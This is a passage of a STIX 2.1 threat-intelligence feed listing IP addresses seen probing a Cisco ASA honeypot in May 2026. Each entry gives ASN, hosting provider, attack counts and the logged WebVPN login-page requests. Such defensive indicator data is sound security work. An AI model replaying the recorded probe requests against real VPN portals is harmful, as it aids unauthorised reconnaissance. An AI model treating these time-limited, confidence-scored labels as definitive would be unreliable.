      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--f6aac32c-d696-433a-a020-48b904bc2f26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-02T04:26:50.806Z",
          "last_seen": "2026-05-08T05:17:42.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3d07eaec-dc81-4691-a6c6-08e314acc094",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T01:31:06.091Z",
          "last_seen": "2026-05-08T04:44:09.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5eb62fa6-5926-410e-852f-babcc73ce753",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T10:53:48.533Z",
          "last_seen": "2026-05-14T11:18:53.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e5466fd9-42f3-4b7b-82c5-64cdf336f53e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T12:10:47.300Z",
          "last_seen": "2026-05-30T09:32:14.910Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2a72be9-6b34-42a3-b4c0-0ccd4383e360",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T06:16:20.646Z",
          "last_seen": "2026-05-22T15:35:20.824Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5dc6336a-fc37-45e3-95b0-b3a2d5a74129",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T11:37:15.129Z",
          "last_seen": "2026-05-07T09:08:38.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4407d77d-4928-4c54-8631-76da1c33a0d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-04T12:32:04.960Z",
          "last_seen": "2026-05-30T06:07:22.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--fbafa285-8ce4-448a-a3f6-134016fd7dac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T19:25:38.936Z",
          "last_seen": "2026-05-30T12:14:03.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--bbff8e45-784b-4320-b7a0-962486201b71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-17T03:09:24.380Z",
          "last_seen": "2026-05-30T08:06:15.209Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--88d515af-a65a-47e9-b8e8-0ec347d0085c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T02:10:58.402Z",
          "last_seen": "2026-05-30T04:35:16.022Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--3c0ca1b9-f39e-4981-ab0f-2aa64bb294fd",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--195b9158-e2a4-4328-a6e0-c85eba121d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-20T08:40:04.238Z",
          "last_seen": "2026-05-31T03:30:38.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--eb1bba31-40f0-496e-b33f-ac2f21a39355",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T05:44:41.992Z",
          "last_seen": "2026-05-09T04:33:56.522Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0a884c1a-05fb-468d-9142-08e01268fbd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T04:19:58.417Z",
          "last_seen": "2026-05-30T07:00:08.996Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--352d07c9-ec2e-45e7-8511-da54e0d8778f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T02:46:31.914Z",
          "last_seen": "2026-05-27T18:23:28.851Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--e7f2cdfc-0d5f-4d97-99cc-5a78b0d094fc",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.163.74.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2500f795-e142-43dc-a9c7-6eb3336d8d42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-27T03:51:42.222Z",
          "last_seen": "2026-05-29T09:35:07.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0ac7329a-da92-4b19-8903-9c5e4e0f688a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T23:19:08.509Z",
          "last_seen": "2026-05-05T23:19:17.346Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--61b213fb-824b-4fea-a1be-07109765672b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T01:39:50.914Z",
          "last_seen": "2026-05-17T01:33:02.367Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--391b288a-3dbc-4b3a-ad7d-f9d45bdd4ab8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T03:46:46.027Z",
          "last_seen": "2026-05-28T00:07:12.547Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ffb3bf3-579a-46c5-9f70-9e0379055347",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:20:10.000Z",
      "valid_until": "2026-06-02T19:20:09.000Z",
      "indicator_types": [
